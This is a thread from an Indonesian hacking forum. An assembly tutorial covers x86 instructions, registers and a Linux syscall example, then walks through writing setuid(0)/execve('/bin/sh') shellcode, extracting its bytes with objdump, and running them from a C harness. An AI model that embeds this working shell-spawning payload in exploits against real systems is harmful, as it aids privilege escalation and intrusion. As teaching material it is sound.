Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-24-2013, 05:53 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Assembly v
1 2 3 Next »

Assembly 32 bit and shellc0d3

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Assembly 32 bit and shellc0d3
05-18-2010, 07:33 AM
Post: #1
mywisdom Offline
Administrator
*******
Administrators
Posts: 921
Joined: Dec 2009
Reputation: 44
Assembly 32 bit and shellc0d3
sebenernya ane juga gak jago soal asm belajar dari mikrodata dulu gak bisa2 tapi gapapa deh share dikit ja ya mumpung ada tempat.

instruksi dasar yg sering dipake:

-mov artinya move (pindahkan)
contoh dg assembly 16 bit:
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat interup 21 hexa fungsi 9 hexa
misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar.

-jmp artinya jump (loncat)
bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 16 bit di 32 bit gak ada macro)

-push -> dorong (untuk menyimpan)
misal untuk menyimpan data ke stack pointer

- pop -> ambil ( untuk mengambil data dari stack)

- jne -> jump if not equal (lompat jika tidak sama)

- jnz -> jump if not zero (lompat jika bukan zero)

- jnc -> jump if not carry (lompat jika tidak ada sisa)

- lea -> load effective address

- and -> logika and

untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction"

<strong>Model Pemrograman
</strong>
perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai.

- model asm 8 bit
mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL

-model 16 bit
menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS

- model 32 bit
menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address -&gt; ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali berusaha dioverwrite utk point ke instruksi yang ilegal)

contoh syscall dg asm:

karena yg ngetrend adl yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini:

dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan 2 syscall tadi:
(btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary
file name: mywisdom.asm

section .data
tes db 'mywisdom',10;db artinya define byte di mana var tes diisi string mywisdom

section .text
global _start

_start:
mov edx,8 ;panjang string mywisdom
mov ecx,tes ; ecx diisi data tadi
mov ebx, 1 ; ebx diisi 1 syarat sycall no 4
mov eax, 4 ; mo mangil syscall no 4 yaitu write
int 80h ;interup 80 hexa utk eksekusi syscall

mov ebx,0
mov eax,1 ;
int 80h ;keluar program

untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini:

http://bluemaster.iu.hio.no/edu/ca/lin-a...calls.html

selanjutnya simpan dengan nama file mywisdom.asm

cara kompile:

nasm -f elf mywisdom.asm
ld -o mywisdom mywisdom.o
oya selain itu ada juga yg model 32 bit at&amp;t kita kompile pake gas, biasanya ini banyak dipake di inline assembly.

<strong>CONTOH MEMBUAT SHELLC0DE DARI ASM
</strong>sebelum mulai ada aturanya:

peraturan shellc0de yang baik:
1. jangan terlalu panjang
2. jangan mengandung \x00 (terminate string)

ok dari asm c0de berikut ini:
filename: leqhi.asm
global _start
section .text
_start:
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
push ecx;ecx = 0
push 0x68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik
push 0x69622f2f ;nib
mov ebx,esp
lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address
int 80h
kompile:

nasm -f elf leqhi.asm
ld -o leqhi leqhi.o
lalu untuk membuat shellc0denya kita disassembly .section text:

root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi

sh: file format elf32-i386

Disassembly of section .text:

08048060 &lt;_start&gt;:
8048060: 31 c9 xor %ecx,%ecx
8048062: 8d 41 17 lea 0x17(%ecx),%eax
8048065: cd 80 int $0x80
8048067: 51 push %ecx
8048068: 68 6e 2f 73 68 push $0x68732f6e
804806d: 68 2f 2f 62 69 push $0x69622f2f
8048072: 89 e3 mov %esp,%ebx
8048074: 8d 41 0b lea 0xb(%ecx),%eax
8048077: cd 80 int $0x80
root@DL:/mnt/sda12/root/c/asm#
ok shellcode dari hasil objdump di atas adalah:

\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80

ok template utk eksekusi shellcode yg kali ini akan kita pakai adl:

#include &lt;stdio.h&gt;
int main()
{
char shellcode[]="bagian yang diapit ini akan kita sisipkan shellcode kita";
(*(void (*)()) shellcode)();
}

di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita"
tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini:

filename: hack.c

#include <stdio.h>
int main()
{
char shellcode[]="\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80";
(*(void (*)()) shellcode)();
}

selanjutnya tingal dikompile:

gcc -o hack hack.c
ok sekian dan selanjutnya akan ane lanjut laen kali krn sudah waktunya kerja lagi. trims
Find all posts by this user
Quote this message in a reply
04-27-2011, 12:14 PM
Post: #2
H4r10_64nt3n6 Offline
./Devilz 1st Cadet
Posts: 41
Joined: Apr 2011
Reputation: 0
RE: Assembly 32 bit and shellc0d3
asik untuk belajar ollydbg thx gan
Find all posts by this user
Quote this message in a reply
02-11-2013, 08:56 PM (This post was last modified: 02-11-2013 08:58 PM by ghosthands.)
Post: #3
ghosthands Offline
./Devilz Officer
Posts: 123
Joined: Nov 2012
Reputation: 2
RE: Assembly 32 bit and shellc0d3
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -&gt ; syarat interup 21 hexa fungsi 9 hexa

yang ane bold itu instruksi / typo / format penulisan di linux ???
link syscall juga udah mati ketawa
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  The Art Of Assembly ian182 8 1,587 02-08-2013 10:49 PM
Last Post: ghosthands
  Just another guy asking how to learn assembly ? mandi 3 260 02-08-2013 10:47 PM
Last Post: ghosthands
  Pemrograman Assembly di Windows dengan masm32+ debugging dg ollydbg mywisdom 6 1,439 01-24-2013 08:21 PM
Last Post: Jehuda
  method/fungsi pada assembly syn_attack 4 491 05-19-2012 12:35 AM
Last Post: zard22
  pemrograman di ms dos dengan assembly 16 bit+ analisa beberapa virus asm mywisdom 8 1,770 01-21-2012 04:04 AM
Last Post: oootrxooo
Tongue [Tutor] Iseng with Assembly nyiurmelambai 12 1,127 01-17-2012 05:30 PM
Last Post: darkdante
  intruksi assembly kiddies 6 1,661 01-12-2012 11:20 PM
Last Post: filmar
  How to Translate your perl script into c and assembly ev1lut10n 5 884 10-24-2011 08:15 PM
Last Post: syn_attack
Bug [Ask] Assembly Pada UBUNTU bogenk 9 2,233 05-20-2011 10:33 PM
Last Post: bogenk
  Logika Assembly 32 bit (Bahasa Rakitan) mywisdom 12 4,794 05-16-2011 08:20 PM
Last Post: bogenk

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-24-2013, 05:53 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE